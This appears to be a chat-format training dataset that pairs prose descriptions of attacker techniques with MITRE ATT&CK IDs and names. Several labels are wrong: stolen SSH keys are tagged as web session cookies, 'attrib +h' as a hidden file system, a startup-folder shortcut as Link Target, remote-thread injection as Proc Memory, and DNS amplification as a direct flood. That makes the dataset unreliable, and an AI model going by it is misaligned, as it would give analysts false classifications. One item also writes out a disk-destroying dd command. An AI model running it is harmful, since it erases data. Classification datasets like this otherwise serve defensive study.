                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the resource fork of an audio file to hide a command-and-control module that activates when the file is played."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the SQLite database used by Apple Mail to extract messages on macOS."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages PowerShell's Get-SmbShare to list all network shares on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses stolen SSH keys to log into a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CMSTP is employed to proxy execution of a payload by providing a malicious INF file that registers a DLL for execution, effectively bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By deleting the \"Zone.Identifier\" metadata on a file, a threat actor evades the Mark of the Web security prompt and executes the code unhindered."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed the machine's personal certificate store, extracting the developer's certificate to sign malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the AppInit_DLLs registry key to load a DLL into every process that loads user32.dll."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor abused a misconfigured cloud storage bucket with public write permissions to plant a malicious script that was later executed by the web server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a delay loop that measures execution time differences to infer debugger presence."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers corrupt the log aggregation pipeline, causing any alerts about privilege escalation to be discarded before they reach analysts."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attack script creates a default admin account on a Windows host by executing \"net user\" with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the DuplicateTokenEx function, the attacker creates a new token and launches a remote desktop session with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses SMB to transfer a malicious script from a compromised host to another node in the network."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved extracting data from a corporate Box account after stealing the user's authentication cookies."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script changes file permissions to hide malicious DLLs from standard user accounts."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a BIOS credential backdoor to gain admin access and then writes a custom boot sector that loads a payload before the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage DNS over HTTPS (DoH) to tunnel command traffic, bypassing network defenses."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan performs a DNS TXT record query to retrieve an encoded IP address for its next stage server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a Windows shortcut (.lnk) on the startup folder that points to a malicious script, enabling execution each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red teamers uninstall or tamper with the syslog daemon to stop the capture of command-line activity on the target server."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the Windows 'attrib +h' command to hide a malicious executable in the system directory."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach included extracting configuration data from a network device's local storage for later replay attacks."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised load balancer reassembles TCP streams and modifies POST data to exfiltrate sensitive information unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced threat actor uses a whaling attack to target high-level executives with highly customized and convincing spear phishing emails that request sensitive information or initiate fraudulent transactions."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware uses a DNS dynamic update mechanism to register new C2 domains on the fly."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors repackaged their ransomware with a commercial packing utility to conceal its functionalities."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited a race condition in a Linux kernel module to gain root access, then delivered a custom payload to expand their capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a hostile job in a Mesos cluster that triggers a credential dumping tool on a set schedule."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious framework establishes a primary command channel over HTTP, then spawns a secondary covert channel using covert DNS queries to transmit encrypted data."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary stops the Windows Event Log service to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates password policy details from Active Directory using dsquery."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates an SSH tunnel to forward malicious payloads to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a firmware-level exploit to corrupt the disk's layout tables, resulting in a total loss of the storage device’s structure."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a keylogging module that hooks the message loop of common Windows GUI programs to record user input from text fields."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a man‑in‑the‑browser attack, intercepting HTTP responses and extracting the Set‑Cookie header for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript payload uses the process.env.USER environment variable to discover the current user on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up a reversible communication tunnel via a legitimate web API, enabling them to both push malicious scripts to the victim and pull sensitive files back in real time."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable file upload feature to deploy a CGI web shell, granting remote administrative access."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is used to perform an HTTP GET flood against a RESTful service, causing the application thread pool to be exhausted."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the credential harvesting phase, the implant limits the Diffie‑Hellman group parameters to a small prime, reducing the difficulty of discrete‑log attacks."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a VPN connection to the victim network, later using that tunnel to exfiltrate encrypted data via DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a signed binary to read the system's environment variables and active services for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a signed driver and update the KernelCallbackTable entries, causing system functions to invoke malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary writes malicious shellcode into the memory of a running svchost.exe process and then creates a remote thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell's Get-NetIPConfiguration cmdlet to discover network interface settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website hosts a fake software update page; users who click the link are redirected to a malicious payload that gets executed on their system."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a web‑form injection technique to capture customers' payment information during checkout on an e‑commerce site."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign leverages the extended attributes of files, specifically the resource fork, to store and later retrieve malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the 'ProductID' value from HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion to fingerprint the OS."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script checks for a connected USB microphone, activates it, records 10 seconds of audio, and writes the output to %TEMP%\\audio.wav."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses schtasks.exe to set a task that launches a DLL with RunPE technique whenever a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the registry key \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\" to discover time zone and current time details."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deployed a command to execute 'dd if=/dev/zero of=/dev/sda bs=1M' to wipe all disk sectors."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor changes the 'DefaultUserName' and 'DefaultPassword' values in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon to create a default credential for later use."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerPoint template (.pot) is placed in the startup directory, and its macro is set to execute each time PowerPoint opens, providing initial access."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests session cookies from a victim’s browser using a malicious browser extension, allowing persistent access to their social media accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages amplification techniques, sending spoofed DNS queries that cause the victim's server to reply with large responses, flooding its inbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker monitors WhatsApp group chats to capture OTP codes and login details, then sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker negotiates with a cyber‑criminal to acquire the source code of a proprietary ransomware‑evading tool."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script encrypts its C2 communications with the attacker’s public key, forming an encrypted tunnel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT group stages exfiltrated database dumps in a hidden MySQL database on the victim's server before extracting them."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script exfiltrates data by piggybacking on the same encrypted MQTT channel used for receiving commands from the controller."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses a public cloud storage API for initial beaconing, later transitioning to a custom UDP-based channel for rapid data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain access to a partner’s VPN credentials and connect to the target network as an authorized device."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised internal proxy, the threat actor tunnels data to evade firewall rules and detection."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs automated queries against public certificate repositories to collect X.509 certificates for domain spoofing."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant scrubs the disk's filesystem structures, rendering the drive unreadable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the built‑in Control Panel binary as a proxy to run a PowerShell script on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a UART connection to enter ROMMON mode on a Cisco switch and flashes a modified IOS."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the OpenSSL configuration to disable modern cipher suites, forcing applications to use weaker encryption algorithms."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute malicious code by creating and invoking a custom SQL stored procedure to gain elevated database privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the exfiltration phase, the actor rewrites timestamp attributes of harvested files to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor placed a fake emergency services call, convincing the target to disclose their social security number for 'verification'."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised admin token to create a high-privilege domain account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After elevating privileges on a domain controller, the attacker modifies the internal web service's welcome page with defacement text."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
